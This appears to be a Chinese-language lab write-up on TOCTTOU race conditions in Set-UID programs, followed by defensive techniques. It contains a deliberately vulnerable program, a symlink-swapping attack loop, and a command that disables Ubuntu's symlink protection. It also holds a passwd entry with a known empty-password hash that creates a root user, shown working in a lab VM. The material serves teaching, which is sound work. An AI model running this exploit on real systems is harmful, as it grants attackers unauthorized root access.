一个常见的竞争条件漏洞
当一个程序的两个并发线程同时访问共享资源时,如果执行时间和顺序不同,会对结果产生影响,这时就称作发生了竞争条件。 检查时间和使用时间:是软件中的一种特殊的竞争条件,它在使用资源前检查某一个条件是否满足时会发生,通常,在条件检查和实际资源使用之间存在一小段时间,检查过的条件如果在这段时间内发生变化,则建立在检查结果的使用授权就有安全问题。 脏牛静态条件漏洞:它允许攻击者修改任何可读但不可写的文件,攻击者可以通过该漏洞获取root权限,该漏洞还影响了基于Linux内核的安全系统。 熔断和幽灵漏洞:导致用户读取到它们本来读不到的信息。
竞争条件漏洞
/tmp目录常被程序用来存储临时文件,且任何人都可以在该目录中创建文件,但普通用户不能修改其他人放在该目录中的文件。 当普通用户执行Set-UID程序时,真实用户ID不是root,但是有效用户ID为root,所以程序以root权限运行,它可以修改/tmp中的任何文件。 为了预防用户通过此特权程序修改他人的文件,该程序使用access系统调用函数来保护真实用户拥有对目标文件的写入权限。if ( ! access ( "/tmp/X" , W_OK) )
{
f = open ( "/tmp/X" , O_WRITE) ;
write_to_file ( f) ;
} else
{
fprintf ( stderr , "Permission Denied\n" ) ;
}
open()系统调用也会检查用户的权限,但只检查有效用户的权限,而access()系统调用检查的是真实用户的权限。 在检查文件和打开文件之间存在时间差,在运行特权程序之前,在/tmp目录中创建一个普通文件X,因为这是用户自己的文件,所以可以通过access()函数检查,在检查完成后执行open()语句之前,迅速将/tmp/X文件改成一个指向/etc/passwd的链接文件,当程序执行open()函数时,实际上会打开秘密文件,因为open()系统调用只检查有效用户ID,此时为root,所以该程序能够以写的权限打开密码文件。 但是实际情况,程序以每秒运行上亿条指令,检查和使用的时间差不足1us,这使得将/tmp/X改成一个链接文件几乎不太可能实现。
赢得竞争条件
假设由两个程序,一个循环运行该漏洞程序,另一个循环运行用户攻击程序。攻击程序不断执行下面两个操作,A1:使/tmp/X指向一个用户拥有的文件,A2:使/tmp/X指向/etc/passwd。漏洞程序,V1:先检查/tmp/X的真实用户权限,V2:打开文件。 因为两个进程同时运行或者轮换运行,实际运行顺序为以上两个顺序的混合,顺序“A1,V1,A2,V2”一旦发生,程序就会打开密码文件,对它进行修改,这回导致安全问题。
下面是一个运行在root权限下的Set-UID程序,这个程序的目的使创建一个文件并写入数据,为了放置影响到已有文件,该程序先检查/tmp/X文件是否存在,只有当该文件不存在是,程序才继续执行open()系统调用,在系统调用过程中用到了O_CREAT标志,该标志的作用是当文件不存在时,根据文件名创建一个新文件并打开它。file = "/tmp/X"
fileExist = check_file_existence ( file) ;
if ( fileExist == FALSE)
{
f = open ( file, O_CREAT) ;
. . .
}
O_CREAT选项具有副作用,当指定文件存在时,系统调用不会失败,它会以写权限打开该文件,因此如果在这个时差内,如果可以让文件名指向已经存在的文件(如密码文件),就可以利用特权程序打开该文件并修改它,程序的运行结果也会发生改变,不是写入新创建的文件,而是使用root权限写入一个受保护的文件,这就产生了竞争条件漏洞。
实验准备
下面程序把从用户处得到的输入写入到一个叫做/tmp/XYZ的文件,这个程序是具有root权限的Set-UID程序,在用户打开这个文件写入数据之前,程序会检查真实用户ID是否有对这个文件有写权限,如果有,程序会用fopen()函数打开这个文件,fopen()函数实际调用了open()系统调用,因此它检查的是有效用户ID。#include <stdio.h>
#include <unistd.h>
int main ( )
{
char * fn = "/tmp/XYZ" ;
char buffer[ 60 ] ;
FILE * fp;
scanf ( "%50s" , buffer ) ;
if ( ! access ( fn, W_OK) ) {
fp = fopen ( fn, "a+" ) ;
fwrite ( "\n" , sizeof ( char ) , 1 , fp) ;
fwrite ( buffer, sizeof ( char ) , strlen ( buffer) , fp) ;
fclose ( fp) ;
}
else printf ( "No permission \n" ) ;
}
这个程序在access()函数和fopen()函数之间有竞态条件问题,一旦这个漏洞被攻击,则该程序可以修改受保护的文件,而且写入的内容是可控的(通过scanf()函数提供),因此,利用这个特权程序的静态条件漏洞,攻击者可以向任意文件中写入任意内容。 编译上述代码[ 07/09/20] seed@VM:/tmp$ touch XYZ
[ 07/09/20] seed@VM:~/.. ./race-condition$ gcc -o vulp vulp.c
[ 07/09/20] seed@VM:~/.. ./race-condition$ sudo chown root vulp
[ 07/09/20] seed@VM:~/.. ./race-condition$ sudo chmod 4755 vulp
因为许多竞态条件攻击与/tmp目录中的符号链接文件有关,所以Ubuntu采用一种保护措施限制一个程序可以使用一个全局可写目录中的符号链接,如想要攻击成功,需要关闭该保护措施。[ 07/09/20] seed@VM:~/.. ./race-condition$ sudo sysctl -w fs.protected_symlinks= 0
fs.protected_symlinks = 0
利用竞态条件漏洞
在攻击者,选择密码文件/etc/passwd作为目标,普通用户无法修改该文件,但通过利用这个漏洞,希望在密码文件中添加一条记录,创建一个拥有root权限的用户。 在密码文件中,每一个用户拥有一项数据,例如root用户:root:x:0:0:root:/root:/bin/bash
第三个字段为0,即当root用户登陆时,它的进程用户ID被设为0,于是进程就被赋予了root特权。 第二个字段为x,这个字段是密码字段,x表面密码存储在另一个叫/etc/shadow的文件中,这意味着添加一个用户需要同时修改passwd文件和shadow文件,如果不将密码设为x,而直接设为一个登录密码,操作系统就不会在shadow文件中寻找密码,而是直接使用密码文件中的密码。 密码字段保存的不是真实的用户密码,而是密码的哈希值,为了得到已有密码的哈希值,可在系统用useradd命令添加一个新用户,然后从shadow文件中得到密码的哈希值。Ubuntu的Live CD中使用了一个特殊的密码,该值是U6aMy0wojraho,如果把这个值放入用户条目的密码字段,在系统提示输入密码时,只需按enter键而不需要输入任何密码。
因此我们构建/etc/passwd下一个拥有root权限的用户的数据项如下,将此数据项目写入passwd_input文件中。test:U6aMy0wojraho:0:0:test:/root:/bin/bash
为了攻击竞态条件漏洞,需要产生两个互相竞争的进程,这两个进程分别为目标进程和攻击进程,目标进程运行特权程序,因为不太可能以此赢得竞争条件,因此需要不停地运行目标进程,即便需要尝试成千上万次,只要赢得了一次,便可以攻击成功。 攻击进程代码如下,攻击进程需要和目标进程并行运行,这个进程不停的改变/tmp/XYZ的指向,为了改变一个符号链接,需要删除已有来凝结,然后创建一个新的链接。先让/tmp/XYZ指向/dev/null,从而可以通过access()函数检查,文件/dev/null是一个特殊的设备,它对任何人都是可写的,写入其中的内容可能会被丢弃,之后让程序休眠一会,然后,让/tmp/XYZ指向目标文件/etc/passwd,不停的执行这两个操作来和目标进程竞争。#include <unistd.h>
int main ( )
{
while ( 1 )
{
unlink ( "/tmp/XYZ" ) ;
symlink ( "/dev/null" , "/tmp/XYZ" ) ;
usleep ( 1000 ) ;
unlink ( "/tmp/XYZ" ) ;
symlink ( "/etc/passwd" , "/tmp/XYZ" ) ;
usleep ( 1000 ) ;
}
return 0 ;
}
目标进程代码如下,目标进程不断运行存在漏洞的vulp程序,并且根据/etc/passwd文件是否已经被修改来判断攻击是否成功。#!/bin/bash
CHECK_FILE= "ls -l /etc/passwd"
old= $( $CHECK_FILE)
new= $( $CHECK_FILE)
while [ "$old " == "$new " ]
do
./vulp < passwd_input
new= $( $CHECK_FILE)
done
echo "STOP...the passwd file has been changed"
现在一个窗口运行攻击程序,然后再另外一个窗口运行目标程序,最初目标程序内部运行的特权程序会不停的输出“No permission”,这是access()函数检查失败所导致的。
[ 07/09/20] seed@VM:~/.. ./race-condition$ ./attack_process
运行攻击程序的窗口[ 07/09/20] seed@VM:~/.. ./race-condition$ bash target_process.sh
.. .. .
No permission
No permission
No permission
No permission
STOP.. .the passwd file has been changed
[ 07/09/20] seed@VM:~/.. ./race-condition$ su test
Password:
root@VM:/home/seed/code/race-condition
此时我们成功用test用户获得了root权限,此时再查看以下passwd文件,test用户的数据项确实被添加进去了。root@VM:/home/seed/code/race-condition
.. .
test:U6aMy0wojraho:0:0:test:/root:/bin/bashroot
注意事项:再attack_process.c程序中,usleep()函数很重要,从实验中可以看出睡眠时间对攻击的影响并不是太大,把这一步删除后,攻击有时候不会成功,攻击不成功时,发现/tmp/XYZ的拥有者不知何故变成了root,这就使得attack_process再也没法改变/tmp/XYZ,攻击自然无法成功。
防御措施
原子操作
TOCTTOU竞争条件的存在时因为检查和使用之间存在一个时间窗口,在这个时间窗口内,其他进程可以改变条件,从而使之间的检查变得无效。 一种解决方法是把检查和使用操作原子化,从而消除检查和使用之间的时间窗口。 文件操作的原子化一般是通过文件上锁来实现的,再检查和使用之前把目标文件锁上,这样其他进程就无法改变文件的属性和内容。 如果把检查和使用放在一个系统调用中,是可以利用内核的上锁机制实现原子化的,例如open()系统调用中提供一个O_EXCL选项,当它和O_CREAT结合使用时,在文件已经存在的情况下,不会打开指定文件,这里,检查文件存在和打开文件的过程是原子化的,这是用内核保护机制。另外,当这两个选项同时使用时,open()函数不会跟随符号链接,也就说,如果要打开的文件是一个符号链接,无论文件指向什么地方,open()函数的操作总会失败。 可以给open()提供一个新的选项,告诉系统打开文件前只检查真实用户ID,而不是有效用户ID,这个新选项叫做O_REAL_USER_ID。
f= open ( "/tmp/X" , O_WRITE | O_REAL_USER_ID) ;
有了这个选项,access()就是多余的了,上述做法把access()和open()放在一个系统调用中实现,保证了原子化,不过,O_REAL_USER_ID在操作系统中并不存在。
重复检查和使用
竞态条件漏洞检查依赖攻击者和使用之间的时间窗口赢得竞争,如果能让竞争赢得变得何难,即使不能消除竞态条件,程序仍然是安全的。 主要想法是在代码段中假如更多的竞态条件,攻击者只有全部赢得这些竞争才能才能成功。#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
int main ( )
{
struct stat stat1, stat2, stat3;
int fd1, fd2, fd3;
if ( access ( "/tmp/XYZ" , O_RDWR) )
{
fprintf ( stderr , "Permission denied\n" ) ;
return - 1 ;
}
else
fd1 = open ( "/tmp/XYZ" , O_RDWR) ;
if ( access ( "/tmp/XYZ" , O_RDWR) )
{
fprintf ( stderr , "Permission denied\n" ) ;
return - 1 ;
}
else
fd2 = open ( "/tmp/XYZ" , O_RDWR) ;
if ( access ( "/tmp/XYZ" , O_RDWR) )
{
fprintf ( stderr , "Permission denied\n" ) ;
return - 1 ;
}
else
fd3 = open ( "/tmp/XYZ" , O_RDWR) ;
fstat ( fd1, & stat1) ;
fstat ( fd2, & stat2) ;
fstat ( fd3, & stat3) ;
if ( stat1. st_ino == stat2. st_ino && stat2. st_ino == stat3. st_ino)
{
write_to_file ( fd1) ;
} else
{
fprintf ( stderr , "Permission denied\n" ) ;
return - 1 ;
}
return 0 ;
}
不是只使用access()和open()函数来做一次条件检查和文件打开,而是重复了三次,检查三个打开的文件是否相同,只有相同才会继续。 只有两种情况能让程序正常运行下去:在没有攻击的条件下,程序三次打开的都是同一个文件;在攻击的情况下,如果有一次没有做到,程序就会终止,要想每次都能打开同一个被保护的文件,攻击者必须连续赢得五次竞态条件攻击。
粘滞符号链接保护
大多数TOCTTOU竞态条件漏洞都与/tmp目录中的符号链接有关,因此Ubuntu自带了一个内置的保护机制来防止程序在特定情况下跟随符号链接。 有了这个保护机制,即使攻击者可以赢得竞态条件,它们仍然无法造成危害,此保护机制只适用于人人可写的粘滞目录。
sudo sysctl -w fs.protected_symlinks= 1
粘滞目录:在Linux文件系统中,文件目录有一个特殊的比特位叫做粘滞位比特,当设置了这个比特位时,只有文件所有者、目录所有者或者root用户才能重命名或者删除这个目录中的文件,如果没有粘滞位比特,任何具有目录写入和执行权限的用户都可以重命名或删除文件,而不管文件的实际拥有者是谁。 跟随者是进程的有效ID,目录的所有者是目录的拥有者,链接所有者是创建链接的用户,只有链接所有者与跟随者或者目录所有者其中一种相同时,fopen()操作才会被允许。 在之前的例子中,漏洞程序是以root权限运行的,所以跟随者是root,/tmp目录的拥有者是root用户,但符号链接所有者是攻击者本身,即seed用户,所以系统不允许程序使用该符号链接,如果程序试图使用该符号链接,系统会让它崩溃。
最小特权原则
特权程序需要写入一个不需要权限就能写入的文件,程序拥有权限大于实际需要的权限,为防止写入保护文件,程序进行额外的检查,从而导致检查和使用之间的时间窗口。 这里最根本的问题在于赋予程序的权限大于实际需求,违背了最小特权原则,一个程序拥有比解决问题所需要的的权限更多的权限。
uid_t real_uid = getuid ( ) ;
uid_t eff_uid = geteuid ( ) ;
seteuid ( real_uid) ;
f = open ( "/tmp/X" , O_WRITE) ;
if ( f!= - 1 )
{
write_to_file ( f) ;
} else {
fprintf ( stderr , "Permission Denied\n" ) ;
}
seteuid ( eff_uid) ;
上段代码使用seteuid()把有效用户ID设置为真实用户ID,暂时关闭了root权限,这样程序就没有权利打开任何受保护的文件,因此也就没有必要用access()来做检查了,文件打开后,如果后面的操作还需要使用root权限,程序可以用seteuid()有有效用户ID恢复成原值(root)。